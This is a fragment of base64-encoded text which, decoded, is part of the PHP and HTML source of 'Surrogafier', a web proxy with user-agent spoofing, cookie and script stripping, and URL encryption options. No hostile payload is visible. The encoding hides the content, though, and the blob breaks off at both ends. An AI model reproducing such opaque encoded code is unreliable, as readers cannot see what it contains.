sgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdc